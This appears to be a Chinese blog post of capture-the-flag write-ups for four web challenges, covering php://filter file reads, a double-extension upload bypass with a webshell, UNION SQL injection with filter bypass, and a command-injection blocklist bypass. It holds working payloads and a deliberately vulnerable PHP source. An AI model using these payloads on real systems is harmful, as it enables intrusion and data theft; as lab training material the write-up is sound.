3月20日

一个朴实无华的页面

用爬虫协议robots.txt访问,发现/0e1G7.php为不允许爬虫访问的目录

访问该文件,查看文件内容,根据文件内容可知,此题过滤了base,将base用???替代,上传参数为G7

利用php://filter协议写一个简单的payload:G7=php://filter/read=convert.base64-encode/resource=flag.php,得到base64编码的flag

解码得到flag

这都不做

直接上传php文件,报错

查阅资料得知:

报错信息 "invalid file type! jpg only!!" 表示上传的文件类型不是有效的 JPEG 图片格式。这通常发生在上传文件到服务器时,服务器期望接收 JPEG 图片,但是收到的文件类型不是 .jpg、.jpeg 或者服务器能识别的相应图片格式。

解决方法:

检查上传的文件确实是 JPEG 图片。如果不是,请将其转换成 JPEG 格式。

确认文件扩展名是否正确,有时候错误的文件扩展名也会导致这个问题。

如果你正在编写代码上传文件,请检查代码中设置文件类型的部分,确保正确设置了 MIME 类型为 "image/jpeg"。

如果你是在使用某个应用或服务,请检查该应用或服务的文档,确认它支持的文件类型,并按照要求进行操作。

如果你是网站管理员,检查服务器配置,确保它正确地识别 JPEG 图片,并且接受的 MIME 类型包括 "image/jpeg"。

在解决问题时,请确保遵循应用程序或服务的安全指南,不要上传可能对系统造成威胁的文件格式。

将shell.php改为jpg上传,报错,提示某个文件包含了PHP代码,在上传时不被允许,也就是过滤了php

抓包,把shell.jpg文件改为shell.pphphp(双写绕过php)文件,一句话木马中的php用随意字符替代,上传成功

用蚁剑连接,查看网页文件夹,得到flag

斗宗强者恐怖如斯

根据提示给出的用户名admin,用bp爆破密码为admin123

登录成功得到第二个网页,查看url,得到id=1时页面返回正常

输入id=1',页面报错,判断存在sql注入漏洞

输入?id=-1') union select 1,2,3--+判断显错位,显错位为3

输入?id=-1') union select 1,2,database()--+爆库名,得到库名xitif_sql

输入id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='xitif_sql'--+爆表名,页面报错,查看报错信息,发现or被过滤,双写or绕过过滤

输入id=-1') union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='xitif_sql'--+爆表名,得到表flag

输入?id=-1') union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag'--+爆列名,得到列flAg

输入?id=-1') union select 1,2,group_concat(flAg) from flag--+爆数据,得到flag

Rceeee

题目源码

<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
    if(!preg_match("/\;|\&|\\$|\x09|\x26|tac|cat|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    }
    else{
        die("你的想法很有趣.....");      
      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

查阅资料可知,此题为RCE无回显,代码可解释为:

这段 PHP 代码的主要功能是接收一个通过 GET 请求传递的 cmd 参数,然后执行这个参数作为 shell 命令。但是,在执行之前,它会通过一个名为 strCheck 的函数来检查这个命令是否包含某些特定的字符串或字符。

strCheck 函数使用 preg_match 函数来检查 $cmd 参数中是否包含以下任何一项:

分号 (;)
与号 (&)
反斜杠 (\)
制表符 (\x09)
与号(ASCII码 \x26)
tac
cat
more
less
head
sort
tail
sed
cut
awk
strings
od
php
ping
flag

如果 $cmd 参数包含以上任何一项,strCheck 函数将终止脚本执行并返回 "你的想法很有趣....."。

然而,这段代码存在一个明显的安全问题,那就是即使进行了这样的检查,它仍然允许执行 shell 命令,这可能导致命令注入攻击。尽管 strCheck 函数尝试阻止一些常见的用于读取文件或执行恶意操作的命令,但是攻击者仍然可能构造出绕过这些检查的命令。

例如,攻击者可以发送一个编码过的命令,或者在 cmd 参数中插入空格或其他字符来绕过 strCheck 函数的检查。此外,shell_exec 函数本身就是一个不安全的函数,因为它允许执行任意的 shell 命令。

使用写入一个文件并访问的方法做题,在url传参?cmd=cat flag | tee 1.txt,即使用命令tee,将cmd的执行结果保存到1.txt中

由于题目对cat和flag进行了过滤,这里使用符号/和符号\绕过,最终payload为?cmd=c\at fl/ag | tee 1.txt

尝试访问1.txt,得到flag

  • 53
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值